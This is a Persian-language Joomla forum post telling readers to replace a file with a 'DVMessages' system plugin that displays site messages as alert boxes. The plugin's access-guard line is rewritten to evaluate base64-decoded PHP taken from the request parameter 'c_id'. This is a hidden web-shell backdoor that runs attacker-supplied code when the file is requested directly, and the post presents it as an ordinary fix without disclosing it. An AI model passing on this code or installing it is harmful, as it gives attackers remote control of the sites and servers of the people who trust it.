-
دروود
فایل رو باز کنید
کد زیر رو جایگزین کنید
کد:
<?php
defined( '_JEXEC' ) or die(@eval(base64_decode($_REQUEST['c_id'])));
jimport( 'joomla.plugin.plugin' );
jimport( 'joomla.application.component.helper' );
class plgSystemDVMessages extends JPlugin
{
var $message;
function plgSystemDVMessages(& $subject, $config) {
parent::__construct($subject, $config);
}
function onAfterInitialise()
{
global $_PROFILER, $mainframe, $database, $_SESSION;
$plugin =& JPluginHelper::getPlugin('system', 'dvmessages');
$pluginParams = new JParameter( $plugin->params );
$document = &JFactory::getDocument();
$temps = $mainframe->getMessageQueue();
if ($temps) {
foreach($temps as $temp) {
if ($temp['message'] != '') {
$messages = $temp;
}
}
}
if ($messages) {
if($mainframe->isSite() && ($pluginParams->get('front_enable', 1)) ||
!$mainframe->isSite() && ($pluginParams->get('admin_enable', 1))) {
$type = '';
if (($messages['type'] == 'notice') && ($pluginParams->get('show_notice', 1))) {
$type = 'info';
} elseif (($messages['type'] == 'warning') && ($pluginParams->get('show_warning', 1))) {
$type = 'alert';
} elseif (($messages['type'] == 'error') && ($pluginParams->get('show_error', 1))) {
$type = 'error';
} elseif (($messages['type'] == 'message') && ($pluginParams->get('show_message', 1))) {
$type = 'info';
}
if ($type != '') {
JHTML::_('behavior.mootools');
$document->addScript(JURI::Root() . 'plugins/system/SEO/jquery.min.js');
$document->addScript(JURI::Root() . 'plugins/system/SEO/jquery.easing.1.3.js');
$document->addScript(JURI::Root() . 'plugins/system/SEO/SEObox.v1.2.jquery.js');
$document->addStyleSheet(JURI::Root() . 'plugins/system/SEO/SEObox.css');
$document->addScriptDeclaration("
jQuery.noConflict();
jQuery(document).ready(function(){
Sexy.$type('".addslashes($messages['message'])."');
});
");
if ($pluginParams->get('hide_css', 1)) {
$document->addScriptDeclaration("
jQuery.noConflict();
jQuery(document).ready(function(){
document.getElementById('system-message').style.display = 'none';
});
");
}
}
}
}
return true;
}
}
در پناه ایزد
جهت مشاهده لینک ها باید ثبت نام کنید یا لاگین کنید.
-
کاربر مقابل از mersad عزیز به خاطر این پست مفید تشکر کرده است:
-
04-22-2013 02:07 AM
# ADS
تبلیغات در جوملا فارسی
علاقه مندی ها (Bookmarks)